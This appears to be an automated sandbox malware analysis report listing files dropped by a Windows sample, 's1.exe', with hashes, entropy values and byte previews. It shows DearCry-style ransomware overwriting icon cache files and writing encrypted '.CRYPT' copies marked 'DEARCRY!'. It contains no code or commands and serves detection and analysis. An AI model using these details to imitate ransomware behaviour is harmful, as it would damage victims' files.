                                                              Preview: .PNG........IHDR................a....sRGB.........gAMA......a....WIDAT8O..Mk.Q...i... . .D.05....q.ML..PBi....~......T(..v..".. ]Y.-.M;....6.t.i23..f2.;C..F..n.s....{.._.t..........0j*..........t..I&.'....b<.....Ho.\..........J..@...dK8 K.....Y.).Ec3...!.....J.rT.[.a.....\O......B...CA.+...r....c....L...n...[e.[..=A.....2T.u]..........BVdh-m.q..w..`...z...M......A.su$.....X.Zo.D7.IU.....T:|....d..yhttt..g1..2}..X........3...~....J...<....._.xG...N.....J.''.. .eY..{...e.M.e.y97wvm..........v......l.V..\..(.e.q......(.(..`y.5.........V%..S.;..0q3~..|.\Z..\nrjjjR..H.P`sj.....A....g...l&..H$.V......<..}.X.Z.\q..wwv.x~'.q.V........4-..c.....IEND.B`.
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1280.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):24
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C7C6ABFA9CB508F7FC178D4045313A94
                                                              SHA1:4F130F23896BD6D0E95F2A42B2CB83D17AC8F1A2
                                                              SHA-256:1BDA9F0AED80857D43C9329457F28B1CA29F736A0C539901E1BA16A909EB07B4
                                                              SHA-512:9F1C1E438B8CCEDA02663A61A64C1C5FC6FB6238AA92D30E6D8D1A7B0CB29A8A6F26B63B9964AD876617F71EE7DC3C05205158C4ED4BE327149652B1C6900825
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1280.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):312
                                                              Entropy (8bit):7.195180023625286
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:0F0194D9558944310D3EB2E9F3A39FF9
                                                              SHA1:0B4450A731BF766BC02A2005DCA361107F823FB9
                                                              SHA-256:847E56CCD2DDEE0F4D113EB3174FDA1605644B60D011FCF835A964B879A7C1F7
                                                              SHA-512:3480521EE8B57B04B9520622EF588220082D7954CF3D822FE3DA397F97B390A0DD03734246F1A754F93E4FAF2A899DE686C077E2003BB1E19D76844A6EBB02A4
                                                              Malicious:false
                                                              Preview: DEARCRY!....d.F.....=....CQ..L.().e..{.p$..O.;..hq..x...v..6G.?u.ju.t..'"GhB.Q..&E...:.u4..v..,;..rU'..pkic...ck.ey.h1..v.Mhg.x..[C..J.^.=....?dX...K...>.v..+\]A....k.S..c...^.A.M.iCyEt...Nb._.....X....p......69.;..|......\..tWK...i....Z.h..#.N..7..d./.......vv............-.........x?.S.#.#>.~~b....~..
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4194304
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4A31AC3594CB245C08E134EC06B3057E
                                                              SHA1:4E17F9AFA83F9E90D8DC56F823BCA1E6801D5592
                                                              SHA-256:A58789E910E5F939AFC433A00FEF5930702927DC192CB237FD9E7449BD6FFE1D
                                                              SHA-512:8A8B7ED4E02345EC29B652718A8289A337E36B22F54034CD842FDD2CCB1A2CBB5982802D901E72C41E0776FDD0C88BD1CC918EFC4A3E99A79A9BE0D65534E143
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4195488
                                                              Entropy (8bit):7.999954124110504
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:E9854ABF6B0F495007E60711F79C1D03
                                                              SHA1:E28A3FA85D2F9E7A5B528BEEE50C9CC7F776597B
                                                              SHA-256:A5657E8A9DD41B84E592A812A4DCF98616B2431658E5DC52A344B8F42DF68E02
                                                              SHA-512:1A5C55984F55F8C2DE81D677A6476B76CD1FA4446D127E6825B7B13AAFC9C6E3162E1DE225291AF65E9B00515F7D548C1E3F851CE44C0D095CD17356DCD0D250
                                                              Malicious:true
                                                              Preview: DEARCRY!.......O..[..7..x..!._/..s._..IQ......I.O.Y5^..zc.Xg....l@..../....=.6.......,P]...>n....U.....:.....J.A.'..n...#A.<.z....jn.es...:........E...=.r..F..........&.$......,...@.x.a.....7A....T..5.6,P....2...'...h..Kj.B@_.+?mW !..E...i..D..I!.................t..#".R.B@N.....B.F...t.Gn....y..wo3.^M...z.$$..o.... c:.jw?r.f.,...q.S.F...R......a.a..M.7...b....).?.i.ry8UL..<.s8Uxo..U...~..v*...+m...U.4....87..d..../.=$?.S.7..O..>..3...RX/..+.w.L...'WexFOk...&..O.`.~n..do{..,....AI.N....V.~6|.2.......*.2.s.).N.&...<.(.s..#...Kig+K..E.....y.F..G+..b5..a>5.Q..h..>:.....N.-.>.......@..^.)i._?...{..............<`N..Jkz(mkU2....2G...B.z..bu..).B#........>..%..m.....g..F;y.QU...5.H.|t[...I............zT.>.Q.....*..~..*......c...b{^5...S....|...Y...q..{*..[.....2..... y8.Lr[..........0..e.."..?..N....Dg9...?f.F...........@.[t.24.A....u.....9.'...m.a..Hp...rHF0%.G....A...h(.U.6..6y$j..4l68...N]Z.%[h.&`......n..1...Z..Yg.....u.......rT.z.
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1920.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):24
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C7C6ABFA9CB508F7FC178D4045313A94
                                                              SHA1:4F130F23896BD6D0E95F2A42B2CB83D17AC8F1A2
                                                              SHA-256:1BDA9F0AED80857D43C9329457F28B1CA29F736A0C539901E1BA16A909EB07B4
                                                              SHA-512:9F1C1E438B8CCEDA02663A61A64C1C5FC6FB6238AA92D30E6D8D1A7B0CB29A8A6F26B63B9964AD876617F71EE7DC3C05205158C4ED4BE327149652B1C6900825
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1920.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):312
                                                              Entropy (8bit):7.212366080065516
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A096C526FE37693AC2AB531A2FC8A7AC
                                                              SHA1:FA72E073A021D65EAE62CC7F303F169ACA2753ED
                                                              SHA-256:FBBB2529B745001AE49CFBA8D2781069B20B570B42D7EBB1E705AF395B06617A
                                                              SHA-512:EE6680EAE55E047C48C28CF39319A59AE357E430695299F7D91E1382CB09231E858CC9711D35E3C8CD46ACBC56F5C43321D9749C7C4577F58AA8F2DEEB44FE43
                                                              Malicious:false
                                                              Preview: DEARCRY!....1&kN.|..+.P.".=........g{.b.._...z>KT/...1.z9....... ...."Q./Z+0.P7.xi.\.e...}:.K.b7tv...q(.+.....{Na........S........+...p.*7..U........KK..I.!..._.a..Qg.Cj.|QZ....u*.;.d...a+.jRa.qs..._..qw.$...S95..M.p.Z.....a..`..D.=l...)..qw....s.S.."5\mD..................c..:.Tu&E.XY..(.u..C.H...
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_256.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4194304
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4A31AC3594CB245C08E134EC06B3057E
                                                              SHA1:4E17F9AFA83F9E90D8DC56F823BCA1E6801D5592
                                                              SHA-256:A58789E910E5F939AFC433A00FEF5930702927DC192CB237FD9E7449BD6FFE1D
                                                              SHA-512:8A8B7ED4E02345EC29B652718A8289A337E36B22F54034CD842FDD2CCB1A2CBB5982802D901E72C41E0776FDD0C88BD1CC918EFC4A3E99A79A9BE0D65534E143
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_256.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4195488
                                                              Entropy (8bit):7.999961615441955
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:D6DD193B312987A9A1C32C865739889B
                                                              SHA1:1D734FAEAF79902851D38417850EA3303A87A813
                                                              SHA-256:2E0426D8027CC792C9FB05A8BB6DD639D77A78B765F5FEBA82598B1C9373CA49
                                                              SHA-512:6A3CFAAF2201DDE6C1DCD76CAA81CCFBD064D033000942ABA3331267F7D1D712333061A9AB7EFA1E51DA5784A9A62F69940F376E85CAA8921558B78DACB764F5
                                                              Malicious:true
                                                              Preview: DEARCRY!.......M....3g..7*.5q.5`3..gp..p.S,r....w..X...Hg......p..ky-.%Z.5..TC..|.<k.....'....TP._.U..?:.............,.U.]..f....II,!.3..}..]v.y.,..%.5..^.y.o.q.....N{....j...#y.p1#.ic.(..m..+...`......j.I.....y...*&r.DV..o.}............7.......<.!.....r..>.!..................`&.#.OJ..Dv......8...F.0.....h...g.T..L+<..^.;..~}....Z.....k..z..nJ-...N.....H.}..%Ea..k.n..T/....1x!..x.K27...R.....6!.3.............-.[......do..n."U(.:. .q.k.....Y.....=...A.I......T...>..,.P.........".Y2..{V..".......J..B...-w,.GC.....d.p...J....I.Uu...#Q+.*...tO{.`..h-.N...Y.....Jj...6g..8.,.n..[M.>._/.[...i.6!.9.v.q.T...l......$q.......1y.G.d......-.<.....:JTo./.{.x..f......jh..u6#*..hm....E.i.=...1.}......N....R4..X..f..=b.t9.9yf.2..'4}.<..R..N6+.....|XN.Jv......<....}B.gjr.9.~...pFQ..4To..x.J..#..`'..n.[..zi.....:}.....|g.,.4..t.k..K.1...Z..3P9........"...*...X...Q...hB.k.#.s..Bf....E7-B......L.}..2...... .W.~Hn=....{.6..J..]...w.,.CD.Q...'.0..b ......).......O.....
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_2560.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):24
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C7C6ABFA9CB508F7FC178D4045313A94
                                                              SHA1:4F130F23896BD6D0E95F2A42B2CB83D17AC8F1A2
                                                              SHA-256:1BDA9F0AED80857D43C9329457F28B1CA29F736A0C539901E1BA16A909EB07B4
                                                              SHA-512:9F1C1E438B8CCEDA02663A61A64C1C5FC6FB6238AA92D30E6D8D1A7B0CB29A8A6F26B63B9964AD876617F71EE7DC3C05205158C4ED4BE327149652B1C6900825
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_2560.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):312
                                                              Entropy (8bit):7.154484411153513
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:845CCA65C0FA2EAB37992D910293506D
                                                              SHA1:6D83C7989AC36848F84AC5EC67ACB600D1453F77
                                                              SHA-256:DCC74FFDB28C3D661627788B6A4C52F0A222AEA0D13DC5A8B322DCFECD84D4CF
                                                              SHA-512:193F2B90D62B0B307E1C0092086F203AFBC9186A29732BDF35BD0D2E30186B2BDA66905831360FBBD55B5048ECDF4E66055157856815D00278E70193B4616C3D
                                                              Malicious:false
                                                              Preview: DEARCRY!....E..z.w.;e.&..2....k..'u#.;......!../\...!px...W..|....>...._..i.d.......t.(.,..P}.;...f.H(.]|......W.r...r.C....+.......4QK.Ec.-sBLl...&\"...g.......[<.()...f._..|..s.3.CZ2...M=.}.3..z*...j..Y@zj".."...\.k.+$?.1.._e.q.5.42.p.....fl..^N....1JCE.............{g...0.6......R(..D3G.o%.M.uj.
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4194304
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4A31AC3594CB245C08E134EC06B3057E
                                                              SHA1:4E17F9AFA83F9E90D8DC56F823BCA1E6801D5592
                                                              SHA-256:A58789E910E5F939AFC433A00FEF5930702927DC192CB237FD9E7449BD6FFE1D
                                                              SHA-512:8A8B7ED4E02345EC29B652718A8289A337E36B22F54034CD842FDD2CCB1A2CBB5982802D901E72C41E0776FDD0C88BD1CC918EFC4A3E99A79A9BE0D65534E143
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4195488
                                                              Entropy (8bit):7.999957481735254
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:774296D8238D9EECA7D08AC72B6E7032
                                                              SHA1:0C962D20DEF7F73EDED3DA9D848A376832D19653
                                                              SHA-256:29C53F3B3A008A07D26B3CF263138E794D4E65D4E976DF7E4C10623D77250487
                                                              SHA-512:92AB7EA5E632B9B47E4855EA143CEE645D70DE4EE8D7F267DF835FE579E532E8CD40C7B5D055221B45AF2A7A500C4466305293747EC52980B100A942EE5AB00A
                                                              Malicious:true
                                                              Preview: DEARCRY!....i..1._(.......O.R]..........cV'.i.......,.....lrj0.....S...|.\.r.(.(....PH.T.WD......5..,4....]/.d[v....Cq..7V.Y.*..t.S.....c...G.n.w.D2...t.Q.i.D....eQ.L...J2b.8..)R..r...czWi.c\.:...."..jR._[..E{@..b........O`..q.o.....#..2G.v..k.......v.]............,.%.?p....!.Qe..4Wy...;...M*9y...{p.p......r.....X6.inE........u..../.Q.u..V4O....$...X.#..1@.".'.%'S.?.Mof...a...7CG*.. .j..{:..Xh.wh.s.N..i...@..f..9.^.$?..6{..N.Rs..m?j.4q....6..'..p..P....F......<."...g.p.|..g.....6.....E.V.......'..d.....g?....\4\,...?....q..U....Z...X.T...@.c.1'kg1`V..F..H}....O9.Y.{..SP..=.A..... .y.....'.......m..".9r....F.e....w(.ke.I\......\...{..<..."Q..C...z>J.n.u:.1......%v....u.6UW...].@x....'^.u.....k/\y.?D..R,.^$..it$. ..RO9bh..}.~..-d...m..x..}.p.R...*1.\..15..2........W.. ...TZ..*./m.S*.j......N,k..Qj,..,..sA..*x.O..%'{Q=_?.s....T.)E]V.q.iR..q.*`.....D+:.5.5.5.L....!{.j...Gz.........j ..I.{~..!d.d.$.$....]KU......B.%...1..fj#^.#.R.+J.R-.
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4194304
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4A31AC3594CB245C08E134EC06B3057E
                                                              SHA1:4E17F9AFA83F9E90D8DC56F823BCA1E6801D5592
                                                              SHA-256:A58789E910E5F939AFC433A00FEF5930702927DC192CB237FD9E7449BD6FFE1D
                                                              SHA-512:8A8B7ED4E02345EC29B652718A8289A337E36B22F54034CD842FDD2CCB1A2CBB5982802D901E72C41E0776FDD0C88BD1CC918EFC4A3E99A79A9BE0D65534E143
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4195488
                                                              Entropy (8bit):7.999959030044967
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:6E54A5091AB94A587887858F1C5BAD69
                                                              SHA1:A552C1CFF0DAD66119060490034E98CAB79226B1
                                                              SHA-256:B3E573F3168E3ACDE3AB160D867021A8C309402DADFCFFC67E3F5A52221B71E3
                                                              SHA-512:30CA6DFA9E546E016C27728B648C54664BCE93BA2CE7ACDC32A0079A97419EB6C068064CA30AAC3B77D58BB0A5C1ABEBC0D89A521C2D0F845F350FE2C6861C5D
                                                              Malicious:true
                                                              Preview: DEARCRY!.....x...$...5...M#.K.#..M{.^..(|PX|.|x}.$........t.1T..X.H..l]..&$..._....G...../.z..F..z..S...]..s&B:.:...............G.,.....u.q5..z....C..U.......4....x...jo...z.Z...hw..0J.`...t.2.F..G.L=L.z.kg5....&.....{.E.....Su...^N........J.B.Gt.._..s.n............&g.y..].R.8.......g..>..2T.y..>.'.77.........a'.'De....Jx...G.J....*.v.\..M.w.C(e.@.bt...O.'C.t.Y.alG.J...7......!`2...6M....b....5VZ@.JH..0.E...Qv.s......7...?..?.....C..`..'.L..n.Mz.......4...<!T^..`..;....PS..U."8..aj...0....Kc....a..a...<..B.c.^fv..O.F.....G.....<...K)...D.hR.,.4k...*.>X.}.o.H..q.)uT...(.%\...w..c.O....8....^z.Ogr......j.XE..?.YD'...`.q@Q.2........(.....`.#.[...9Y'Q.D'.:C..U..DZ.....C.....H.Q.b.Z.f?y....J.......l19...Z&^.....j.!.?-.U....Bp"..)8DKP..*.eqM..O.....f.<........w.W........|].y.?.....0KJ..9.e+...a.....d..K1...N(qI.A....n....uu-,...8..CF..<H.R..f1...O.<..A.V.....atO.8.fE.Oi.a]B..m.d.&.u.E..#G..../UqA...m:M..G.......Ga.........?.o.9...E.
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_768.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):96
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:954792A8BA2F259C097CEF263D266ADF
                                                              SHA1:4E3872621039B359E7371BB9810430A5A2C78195
                                                              SHA-256:69D62C062D67D8D2CE9068C1898FB9746C911839AA88AD1628D090F4C8E47F05
                                                              SHA-512:C9D2BD91736B0A41D69C6A2C179EE04A83B00AD126214BA02681E037DA5A88DAF9938A7ACED080721CC1B4EA84CC20BAB4F6E07CA93C03D649332485DA92AFD5
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_768.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1248
                                                              Entropy (8bit):7.706824548148288
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B5D0F3AC0EA4BFA83903219F8DF94515
                                                              SHA1:114484A4205E7A82DA80A31D314D14E116B652B2
                                                              SHA-256:CC568E4BBDEB5ADB97D537DB7A74357A482AD090562E872EA87A65B51DD71E2F
                                                              SHA-512:88D81D50F63F0ECAE0B8221904FCF356946F0D7607C6221A0475AB78D87A0EDFA7977E459E6600FA0B8ADF08DEF79F0605A5FE0243089003EA8A670929F18F22
                                                              Malicious:false
                                                              Preview: DEARCRY!........b.}...v!...!..O=.0...q..M_<vy...@r![.p....K.WoE..t......4..'?%|.N...P.yx..2.j*....Y...~......u<,8s:X.:...K.`.%..IL.3.D...J=...M./...b.zGnW.[..H..+...'U...c..^M....g._.,>/;...4...h....)S..D..,.Dg.S....+.).....l..{)k...@.).o..D..6'....3(cH..0F...............BSd.k...+d.-:(AD...i...H9mKDEARCRY!......^..i....V....^|."C..&Y.S......+:..Pk.p .RVi,..Z...'6.EVN....W.. .j..$n..7b...F.gkY].a .e...g..|..<7*..a..^.....?!.}.I.=. k..'6..+..=.*............,..).v.....N....../$..Y....].&Z...A..m...hF/.-.T7[.?.5RiKh...@..9. ..Sfu.T../..7.M$.:|.1.**."............C.'.6...'.)..Z..u;..DTa....7.gPeDEARCRY!....g...S..o.d.0.p.._h..G....M....n..;.|k...%.my.4.d.&G..`......E..[%`.W.)'........jZSz.....7."N.*..U".o..t]l$.Pm.*.S...\#....h.`....N..T.......~....V.......lb.....m.N..LN!.B|....e.....A!7m%VY.......9P..x...B.wr....S...k.^..0....v...!.]/z2.E..a ".?.............K....-X..........&{.V.#..DEARCRY!....O..THRj%...W+...G..a...<.tJ..(....H*.u......S
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_96.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):96
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:954792A8BA2F259C097CEF263D266ADF
                                                              SHA1:4E3872621039B359E7371BB9810430A5A2C78195
                                                              SHA-256:69D62C062D67D8D2CE9068C1898FB9746C911839AA88AD1628D090F4C8E47F05
                                                              SHA-512:C9D2BD91736B0A41D69C6A2C179EE04A83B00AD126214BA02681E037DA5A88DAF9938A7ACED080721CC1B4EA84CC20BAB4F6E07CA93C03D649332485DA92AFD5
                                                              Malicious:false
